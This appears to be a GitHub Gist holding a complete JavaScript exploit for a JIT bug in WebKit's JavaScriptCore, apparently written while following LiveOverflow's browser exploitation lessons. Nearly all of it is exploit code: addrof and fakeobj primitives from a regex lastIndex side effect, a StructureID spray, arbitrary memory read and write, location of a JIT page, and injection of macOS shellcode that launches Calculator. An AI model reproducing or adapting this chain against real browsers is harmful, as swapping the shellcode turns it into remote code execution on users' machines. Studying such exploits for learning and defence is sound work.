Last active
April 5, 2020 14:10
-
-
Save howmuch515/1ec13bb47e0c726097b790b10e4d7de6 to your computer and use it in GitHub Desktop.
LiveOverflow Browser Exploitation(https://liveoverflow.com/tag/browser-exploitation/).
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
let DEBUG = print | |
let JIT_COUNT = 10000 | |
class Int64 { | |
constructor(val) { | |
this.buff = new ArrayBuffer(8) | |
this.u32 = new Uint32Array(this.buff) | |
this.f64 = new Float64Array(this.buff) | |
switch (typeof val) { | |
case "number": | |
this.fromDouble = val | |
break | |
case "string": | |
this.fromString = val | |
break | |
default: | |
throw TypeError("Int64 constructor requires an argument.") | |
} | |
} | |
get asDouble() { | |
return this.f64[0] | |
} | |
set fromDouble(val) { | |
this.f64[0] = val | |
} | |
set fromString(val) { | |
if (val.startsWith("0x")) { | |
val = val.substr(2) | |
} | |
while (val.length < 16) { | |
val = "0" + val | |
} | |
let vh = val.slice(0, 8) | |
let vl = val.slice(8, 16) | |
this.u32[1] = parseInt(vh, 16) | |
this.u32[0] = parseInt(vl, 16) | |
} | |
add(x) { | |
let i64 = new Int64(this.f64[0]) | |
i64.u32[1] += Math.floor(x / 0x100000000) | |
i64.u32[0] += x % 0x100000000 | |
return i64 | |
} | |
sub(x) { | |
let i64 = new Int64(this.f64[0]) | |
i64.u32[1] -= Math.floor(x / 0x100000000) | |
i64.u32[0] -= x % 0x100000000 | |
return i64 | |
} | |
unbox() { | |
return this.sub(0x1000000000000) | |
} | |
toString() { | |
let a = this.u32[1].toString(16) | |
let b = this.u32[0].toString(16) | |
if (b.length < 8) { | |
b = "0".repeat(8 - b.length) + b | |
} | |
let x = a + b | |
return `0x${x}` | |
} | |
} | |
let prims = {} | |
prims.addrof = obj => { | |
var array = [13.37] | |
var reg = /abc/y | |
// target function | |
var AddrGetter = function(array) { | |
"abc".match(reg) | |
return array[0] | |
} | |
// jitting | |
for (var i = 0; i < JIT_COUNT; ++i) { | |
AddrGetter(array) | |
} | |
regexLastIndex = {} | |
regexLastIndex.toString = function() { | |
array[0] = obj | |
return "0" | |
} | |
reg.lastIndex = regexLastIndex | |
return new Int64(AddrGetter(array)) | |
} | |
prims.fakeobj = addr => { | |
var array = [13.37] | |
var reg = /abc/y | |
// target function | |
var AddrSetter = function(array) { | |
"abc".match(reg) | |
array[0] = addr.asDouble | |
} | |
// jitting | |
for (var i = 0; i < JIT_COUNT; ++i) { | |
AddrSetter(array) | |
} | |
regexLastIndex = {} | |
regexLastIndex.toString = function() { | |
array[0] = {} | |
return "0" | |
} | |
reg.lastIndex = regexLastIndex | |
AddrSetter(array) | |
return array[0] | |
} | |
DEBUG("[*] stage1") | |
let flags_arr_double = new Int64(`0x0108200700000200`).unbox() | |
let flags_arr_contiguous = new Int64(`0x0108200900000200`).unbox() | |
DEBUG("[+] spray StructureID") | |
let spray_array = [] | |
for (let i = 0; i < 0x1000; i++) { | |
let a = [13.37] | |
a.x = 13.37 | |
a[`p${i}`] = 13.37 | |
spray_array.push(a) | |
} | |
let victim = spray_array[0x500] | |
DEBUG("[+] make hax") | |
let outer = { | |
js_cell_header: flags_arr_contiguous.asDouble, | |
butterfly: victim | |
} | |
hax = prims.fakeobj(prims.addrof(outer).add(0x10)) | |
DEBUG("[*] stage2") | |
DEBUG("[+] make overlapped boxes") | |
let boxed = [{}] | |
let unboxed = [13.37, 13.37, 13.37] | |
unboxed[0] = 13.38 | |
hax[1] = unboxed | |
tmp_butterfly = victim[1] | |
hax[1] = boxed | |
victim[1] = tmp_butterfly | |
DEBUG("[+] make new addrof/fakeobj") | |
prims.addrof = obj => { | |
boxed[0] = obj | |
return new Int64(unboxed[0]) | |
} | |
prims.fakeobj = addr => { | |
unboxed[0] = addr.asDouble | |
return boxed[0] | |
} | |
DEBUG("[+] make AAR/AAW prims") | |
outer.js_cell_header = flags_arr_double.asDouble | |
prims.read64 = where => { | |
hax[1] = where.add(0x10).asDouble | |
return prims.addrof(victim.x) | |
} | |
prims.write64 = (where, what) => { | |
hax[1] = where.add(0x10).asDouble | |
victim.x = prims.fakeobj(what) | |
} | |
prims.set = (dst_ptr, src_array) => { | |
let b = new Uint8Array(0x100) | |
let m_vector = prims.addrof(b).add(0x10) | |
// unknown trigger... | |
let x = {} | |
prims.write64(m_vector, prims.addrof(x)) | |
prims.write64(m_vector, dst_ptr) | |
b.set(src_array) | |
} | |
DEBUG("[*] stage3") | |
DEBUG("[+] jitting") | |
let pwn = (x) => { | |
var j = [] | |
j[0] = 0x6323634 | |
return ( | |
x * 5 + | |
x - | |
(x * x) / 0x2342513426 + | |
(x - x + (0x85720642 * (x + 3 - x / x + 0x41424344)) / 0x41424344) + | |
j[0] | |
) | |
} | |
for (let i = 0; i < JIT_COUNT; i++) { | |
pwn(13.37) | |
} | |
let jit_page = prims.read64( | |
prims.read64( | |
prims.read64( | |
prims.read64( | |
prims.addrof(pwn).add(8*3) | |
).add(8*3) | |
).add(8*3) | |
).add(8*5) | |
) | |
DEBUG(`[+] jit_page: ${jit_page}`) | |
let nop_sled = "\x90".repeat(8) | |
// https://pastebin.com/ruh5dpMT | |
// launch "/Applications/Calculator.app/Contents//MacOS//Calculator" | |
let shellcode = | |
"\x48\x31\xd2\x52\x48\xbf\x6c\x63\x75\x6c\x61\x74\x6f\x72\x57\x48\xbf\x61\x63\x4f\x53\x2f\x2f\x43\x61\x57\x48\xbf\x74\x65\x6e\x74\x73\x2f\x2f\x4d\x57\x48\xbf\x2e\x61\x70\x70\x2f\x43\x6f\x6e\x57\x48\xbf\x6c\x63\x75\x6c\x61\x74\x6f\x72\x57\x48\xbf\x74\x69\x6f\x6e\x73\x2f\x43\x61\x57\x48\xbf\x2f\x41\x70\x70\x6c\x69\x63\x61\x57\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x02\x48\xc1\xc8\x28\xb0\x3b\x0f\x05" | |
DEBUG("[+] shellcode injection") | |
payload = nop_sled + shellcode | |
prims.set(jit_page.add(8), payload.split("").map(x => x.charCodeAt())) | |
DEBUG("[*] pwn!") | |
pwn(13.37) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment